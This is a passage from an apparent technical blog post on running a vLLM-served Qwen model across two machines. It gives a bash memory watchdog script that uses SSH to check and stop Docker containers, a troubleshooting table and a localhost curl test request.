&lt;p&gt;Run it on the local machine during loading. Do not open &lt;code&gt;nvidia-smi&lt;/code&gt; in parallel.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-euo&lt;/span&gt; pipefail

&lt;span class="nv"&gt;THRESHOLD_KB&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="m"&gt;1024&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;span class="nv"&gt;SSH&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;ssh &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;Compression&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;no &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;BatchMode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; aes128-gcm@openssh.com lenovo@169.254.159.206&lt;span class="o"&gt;)&lt;/span&gt;

emergency_stop&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WATCHDOG STOP: &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="nb"&gt;sudo &lt;/span&gt;docker stop &lt;span class="nt"&gt;-t&lt;/span&gt; 10 vllm-qwen38 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;
  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SSH&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s1"&gt;'sudo docker stop -t 10 vllm-qwen38 2&amp;gt;/dev/null || true'&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 210&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;local_avail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'/MemAvailable/{print $2}'&lt;/span&gt; /proc/meminfo&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="nv"&gt;peer_avail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SSH&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"awk '/MemAvailable/{print &lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;2}' /proc/meminfo"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="nv"&gt;local_status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;docker inspect vllm-qwen38 &lt;span class="nt"&gt;--format&lt;/span&gt; &lt;span class="s1"&gt;'{{.State.Status}} {{.State.OOMKilled}} {{.State.ExitCode}}'&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo &lt;/span&gt;missing&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="nv"&gt;peer_status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SSH&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"sudo docker inspect vllm-qwen38 --format '{{.State.Status}} {{.State.OOMKilled}} {{.State.ExitCode}}' 2&amp;gt;/dev/null || echo missing"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;] local &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;local_avail/1024/1024&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;GiB &lt;/span&gt;&lt;span class="nv"&gt;$local_status&lt;/span&gt;&lt;span class="s2"&gt; | peer &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;peer_avail/1024/1024&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;GiB &lt;/span&gt;&lt;span class="nv"&gt;$peer_status&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$local_avail&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-lt&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$THRESHOLD_KB&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$peer_avail&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-lt&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$THRESHOLD_KB&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;emergency_stop &lt;span class="s2"&gt;"MemAvailable below 5 GiB"&lt;/span&gt;
    &lt;span class="nb"&gt;exit &lt;/span&gt;2
  &lt;span class="k"&gt;fi
  if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$local_status&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; running&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"LOCAL CONTAINER NOT RUNNING: &lt;/span&gt;&lt;span class="nv"&gt;$local_status&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;sudo &lt;/span&gt;docker logs vllm-qwen38 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-60&lt;/span&gt;
    &lt;span class="nb"&gt;exit &lt;/span&gt;3
  &lt;span class="k"&gt;fi
  if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$peer_status&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; running&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"PEER CONTAINER NOT RUNNING: &lt;/span&gt;&lt;span class="nv"&gt;$peer_status&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SSH&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"sudo docker logs vllm-qwen38 2&amp;gt;&amp;amp;1 | tail -60"&lt;/span&gt;
    &lt;span class="nb"&gt;exit &lt;/span&gt;3
  &lt;span class="k"&gt;fi
  if &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;docker logs vllm-qwen38 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s1"&gt;'Application startup complete'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'STARTUP COMPLETE'&lt;/span&gt;
    &lt;span class="nb"&gt;exit &lt;/span&gt;0
  &lt;span class="k"&gt;fi
  &lt;/span&gt;&lt;span class="nb"&gt;sleep &lt;/span&gt;10
&lt;span class="k"&gt;done

&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'WATCHDOG TIMEOUT'&lt;/span&gt;
&lt;span class="nb"&gt;exit &lt;/span&gt;5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;transformers will print two &lt;code&gt;[ERROR] min_frames / max_frames ... not documented&lt;/code&gt; lines; that is docstring noise, do not treat it as a startup failure&lt;/p&gt;

&lt;h1&gt;
  
  
  Appendix D: troubleshooting
&lt;/h1&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Symptom&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Logs stuck on IPv6 / Gloo timeout&lt;/td&gt;
&lt;td&gt;Confirm&lt;code&gt;GLOO_USE_LIBUV=0&lt;/code&gt;, &lt;code&gt;NCCL_SOCKET_FAMILY=AF_INET&lt;/code&gt;, and UFW has allowed 169.254/16 and 192.168.101.0/24&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;collective_rpc should not be called on follower node&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;rank 1 must have&lt;code&gt;--headless&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cudagraph-mode Unexpected keyword argument&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Use&lt;code&gt;-cc.cudagraph_mode&lt;/code&gt;, not hyphens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;CUDA out of memory&lt;/code&gt; / insufficient KV cache&lt;/td&gt;
&lt;td&gt;Lower&lt;code&gt;--max-model-len&lt;/code&gt; along 262144 → 131072 → 65536&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mamba cache capacity error&lt;/td&gt;
&lt;td&gt;Raise&lt;code&gt;--max-num-seqs&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CPU saturated, GPU 0%,&lt;code&gt;nvidia-smi&lt;/code&gt; stuck&lt;/td&gt;
&lt;td&gt;Immediately&lt;code&gt;docker stop&lt;/code&gt;, do not wait further; check whether local weights were switched back to BF16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MemAvailable drops below 5 GiB&lt;/td&gt;
&lt;td&gt;The watchdog should already have stopped the containers; review before starting again, do not use&lt;code&gt;restart: always&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPU not visible inside Docker on the peer&lt;/td&gt;
&lt;td&gt;Check driver kernel-mode / user-mode versions; if they do not match, reboot the peer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rsync fails on&lt;code&gt;trees/*.json&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;sudo chmod -R a+rX&lt;/code&gt; the corresponding hub directory before transferring again&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Example chat request for verification:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; http://localhost:20001/v1/chat/completions &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "model": "qwen3.8-flash-next",
    "messages": [{"role": "user", "content": "Answer in one sentence: what is the factorial of 3?"}],
    "max_tokens": 256,
    "chat_template_kwargs": {"enable_thinking": true}
  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>ai</category>
    </item>
  </channel>
</rss>
